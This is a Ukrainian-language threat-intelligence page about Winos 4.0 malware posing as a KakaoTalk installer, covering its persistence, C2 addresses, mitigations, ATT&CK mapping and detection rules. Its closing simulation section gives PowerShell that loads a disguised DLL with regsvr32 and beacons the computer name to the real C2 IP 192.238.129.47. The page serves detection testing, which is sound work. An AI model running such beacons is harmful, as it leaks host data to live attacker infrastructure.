SOC Prime Bias: Середній

24 Mar 2026 16:03

Winos 4.0 Зловмисне ПЗ, що маскується під інсталятор KakaoTalk

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Winos 4.0 Зловмисне ПЗ, що маскується під інсталятор KakaoTalk
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Зловмисники використовували отруєння SEO, щоб просунути підробник інсталятора KakaoTalk на перше місце у результатах пошуку. Інсталятор містив недійсний сертифікат цифрового підпису та вбудований пакет NSIS, який розпаковував шкідливі файли, включаючи Verifier.exe і AutoRecoverDat.dll. Після виконання, шкідливе ПЗ отримувало стійкість шляхом реєстрації DLL, запланованих завдань та використанням мутекса, потім підключалось до двох окремих серверів C2. Його можливості включали зняття знімків екрану, профілювання системи та виконання додаткових корисних навантажень у пам’яті.

Розслідування

Інтелектуальний центр безпеки AhnLab повідомив про понад 5,000 скомпрометованих ПК після початку кампанії 9 березня. Аналіз показав, що зашифровані корисні навантаження NSIS розшифровуються та знижують Verifier.exe та AutoRecoverDat.dll, створюють мутекс та завантажують шелкоди з файлів GPUCache.xml. В залежності від гілки шелкода, шкідливе ПЗ контактувало з інфраструктурою C2 на 192.238.129.47 або 119.28.70.225. Стійкість підтримувалась через реєстрацію DLL та заплановані завдання, які запускали або Verifier.exe або rundll32 з шкідливим DLL.

Пом’якшення

Організації повинні блокувати шкідливі домени та URL-адреси завантаження, пов’язані з кампанією. Вводьте строгі перевірки підпису коду та запобігайте виконанню бінарних файлів з недійсними сертифікатами. Слід використовувати білий список додатків, щоб заблокувати запуск невідомих інсталяторів NSIS. Команди безпеки також повинні стежити за конкретними мутексами, підозрілими запланованими завданнями та змінами реєстру, зазначеними у звіті.

Реакція

Команди виявлення повинні повідомляти про створення мутекса 77825d8f-46d1-42d0-b298-83068bf9e31d і запланованих завдань під MicrosoftWindowsAppID. Полюйте за Verifier.exe та AutoRecoverDat.dll у каталогах профілю користувача, та блокуйте вихідний трафік на відомі IP-адреси та порти C2. Проводьте форензичний перегляд уражених систем і повністю видаляйте всі артефакти стійкості та шкідливі компоненти.

"graph TB %% Класи визначень classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Вузли – Техніки та Артефакти tech_initial_access["<b>Техніка</b> – T1593.002 Отруєння Пошукової Системи<br/><b>Опис</b>: Маніпулюйте SEO, щоб ранжувати шкідливі сайти у результатах пошуку."] class tech_initial_access technique tech_user_exec["<b>Техніка</b> – T1204 Виконання Користувачем<br/><b>Опис</b>: Жертва запускає шкідливий інсталятор, вважаючи його легітимним."] class tech_user_exec technique tech_obfuscation["<b>Техніка</b> – T1027 Приховані Файли або Інформація<br/><b>Опис</b>: Корисні навантаження зашифровані у інсталяторі NSIS та розшифровуються під час виконання."] class tech_obfuscation technique tech_powershell["<b>Техніка</b> – T1059.001 PowerShell<br/><b>Опис</b>: Виконує команди PowerShell через cmd, щоб змінити налаштування Захисника."] class tech_powershell technique tech_exclusions["<b>Техніка</b> – T1564.012 Винятки Файл/Шлях<br/><b>Опис</b>: Додає записи виключень для C:, D:, E:, F: у Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Техніка</b> – T1218.011 Проксі Виконання Rundll32<br/><b>Опис</b>: Використовує rundll32.exe для завантаження шкідливого AutoRecoverDat.dll."] class tech_rundll32 technique tech_appcert["<b>Техніка</b> – T1546.009 AppCert DLLs<br/><b>Опис</b>: Реєструє DLL для виконання під час завантаження AppCert, забезпечуючи стійкість та ескалацію."] class tech_appcert technique tech_schtask["<b>Техніка</b> – T1053 Заплановане Завдання/Робота<br/><b>Опис</b>: Створює завдання для запуску Verifier.exe та rundll32 під час запуску системи."] class tech_schtask technique tech_c2_nonstd["<b>Техніка</b> – T1571 Нестандартний Порт<br/><b>Опис</b>: Зв’язується з серверами C2 на портах 18852 та 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Техніка</b> – T1205.001 Обхід Портів<br/><b>Опис</b>: Використовує обхід портів для приховування трафіку C2."] class tech_port_knocking technique tech_dynamic_res["<b>Техніка</b> – T1568 Динамічна Резолюція<br/><b>Опис</b>: Розв’язує адреси C2 під час виконання, адаптується до наявності китайських AV продуктів."] class tech_dynamic_res technique tech_indicator_removal["<b>Техніка</b> – T1027.005 Видалення Індикаторів з Інструментів<br/><b>Опис</b>: Перевіряє наявність специфічних AV продуктів та відповідно змінює стійкість."] class tech_indicator_removal technique tech_software_disc["<b>Техніка</b> – T1518.001 Виявлення ПЗ<br/><b>Опис</b>: Збирає список встановленого програмного забезпечення для рекогностування."] class tech_software_disc technique tech_path_intercept["<b>Техніка</b> – T1574.009 Перехоплення Шляху за рахунок Неуквотованого Шляху<br/><b>Опис</b>: Використовує неуквотовані шляхи служб для завантаження шкідливого DLL."] class tech_path_intercept technique %% Вузли – Файли / Корисні навантаження file_installer["<b>Файл</b>: Шкідливий NSIS Інсталятор (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>Файл</b>: Verifier.exe"] class file_verifier malware file_dll["<b>Файл</b>: AutoRecoverDat.dll"] class file_dll malware %% Вузли – Команди / Процеси proc_powershell["<b>Процес</b>: powershell.exe (додає виключення Захисника)"] class proc_powershell process proc_rundll32["<b>Процес</b>: rundll32.exe (завантажує AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Процес</b>: schtasks.exe (створює заплановані завдання)"] class proc_schtask process %% З’єднання – Потік Атаки tech_initial_access –>|веде до| tech_user_exec tech_user_exec –>|виконує| file_installer file_installer –>|містить| tech_obfuscation tech_obfuscation –>|розшифровує| file_verifier tech_obfuscation –>|розшифровує| file_dll file_installer –>|викликає| tech_powershell tech_powershell –>|виконує| proc_powershell proc_powershell –>|додає| tech_exclusions file_installer –>|використовує| tech_rundll32 tech_rundll32 –>|запускає| proc_rundll32 proc_rundll32 –>|завантажує| file_dll tech_appcert –>|реєструє| file_dll tech_appcert –>|вмикає| tech_schtask tech_schtask –>|створює| proc_schtask proc_schtask –>|заплановує| file_verifier proc_schtask –>|заплановує| proc_rundll32 tech_appcert –>|забезпечує| tech_path_intercept tech_path_intercept –>|сприяє| tech_appcert tech_c2_nonstd –>|використовується| file_verifier tech_c2_nonstd –>|використовується| file_dll file_verifier –>|спілкується через| tech_port_knocking file_dll –>|спілкується через| tech_port_knocking tech_port_knocking –>|покладається на| tech_dynamic_res tech_dynamic_res –>|виявляє| tech_indicator_removal tech_indicator_removal –>|змінює| tech_appcert file_installer –>|збирає| tech_software_disc "

Потік Атаки

Детекції

Rundll32 DLL Підозрілий Шлях Виконання (через process_creation)

Команда SOC Prime
23 березня 2026

Підозрілі Зміни Установок Windows Defender (з використанням PowerShell)

Команда SOC Prime
23 березня 2026

Підозріле Командування та Контроль через Незвичайний TLD DNS Запит (через dns)

Команда SOC Prime
23 березня 2026

IOC (HashMd5) для виявлення: Winos4.0 Шкідливе ПЗ Маскується під Інсталятор KakaoTalk

SOC Prime AI Правила
23 березня 2026

IOC (DestinationIP) для виявлення: Winos4.0 Шкідливе ПЗ Маскується під Інсталятор KakaoTalk

SOC Prime AI Правила
23 березня 2026

IOC (SourceIP) для виявлення: Winos4.0 Шкідливе ПЗ Маскується під Інсталятор KakaoTalk

SOC Prime AI Правила
23 березня 2026

Виявлення Активностей Winos4.0 Шкідливого ПЗ [Windows Створення Процесу]

SOC Prime AI Правила
23 березня 2026

C2 Комунікація для Winos4.0 Шкідливого ПЗ через Файли GPUCache [Windows Мережеве Підключення]

SOC Prime AI Правила
23 березня 2026

Виконання Симуляції

Передумова: Телеметрія та Перевірка Передполітного Контролю повинні пройти.

Мотив: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та опис мають прямо відображати ідентифіковані TTPs та прагнуть створити точну телеметрію, яку сподівається виявити логіка виявлення.

  • Атака Оповідання та Команди:

    Противник уже розмістив шкідливі DLL у %LOCALAPPDATA%MicrosoftWindowsGPUCache каталог, маскуючи їх під легітимні кеш-файли. Щоб виконати навантаження, зловмисник використовує Regsvr32 (T1218.012), щоб завантажити DLL, а потім використовує завантажену компоненту, щоб ініціювати C2-зв’язок через TCP порт 18852 (або HTTPS порт 443) до закодованого сервера 192.238.129.47. Цей мережевий потік є спостережуваним індикатором, який Sigma правило відстежує.

    1. Завантаження шкідливого DLL через Regsvr32
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. Ініціація C2 маяка (шкідливий DLL відкриває TCP сокет до сервера C2). Для тестування ми імітуємо маяк за допомогою простого PowerShell TCP клієнта, який підключається до того ж IP/порта.
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Маяк від $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • Скрипт Ретеста Наступний скрипт відтворює описані вище крокі повністю та згенерує точну мережеву телеметрію, яку Sigma правило очікує.

    # -------------------------------------------------
    # Winos4.0 C2 Симуляція – активує Sigma правило
    # -------------------------------------------------
    # 1. Завантажте шкідливий (симульований) DLL через Regsvr32
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Реєстрація шкідливого DLL через Regsvr32..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] Симульованого DLL не знайдено в $dllPath – відміна."
        exit 1
    }
    
    # 2. Імітуйте маяк C2 до закодованого IP/порта
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] Встановлення TCP з'єднання з $c2IP:$c2Port ..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Маяк від $env:COMPUTERNAME о $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] Маяк надіслано."
    } catch {
        Write-Error "[-] З'єднання не вдалося: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • Команди Очищення Видаліть всі тимчасові артефакти та закрийте залишені з’єднання.

    # Видаліть симульований шкідливий DLL (якщо це тестовий артефакт)
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] Очищено симульований DLL."
    }
    
    # Забезпечте, щоб не залишилось осиротілих TCP слухачів (малоймовірно для клієнтської лише сторони)
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # Дія не потрібна; з'єднання закриваються в скрипті.
    }